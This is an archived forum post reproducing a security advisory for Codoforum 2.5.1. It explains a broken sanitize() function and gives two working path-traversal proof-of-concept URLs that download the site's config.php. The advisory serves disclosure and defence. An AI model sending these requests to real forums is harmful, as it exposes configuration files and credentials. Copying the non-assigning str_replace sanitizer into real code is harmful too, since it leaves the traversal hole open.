PDA

View Full Version : Codoforum 2.5.1 - Arbitrary File Download



Void
03-11-2015, 06:43 PM
1. Description

str_replace() is used to sanitize file path but function output is not assigned to variable

private function sanitize($name) {

str_replace("..", "", $name);
str_replace("%2e%2e", "", $name);

return $name;
}

http://security.szurek.pl/codoforum-251-arbitrary-file-download.html

2. Proof of Concept

http://codoforum-url/index.php?u=serve/attachment&path=../../../../../sites/default/config.php
or
http://codoforum-url/index.php?u=serve/smiley&path=../../../../../sites/default/config.php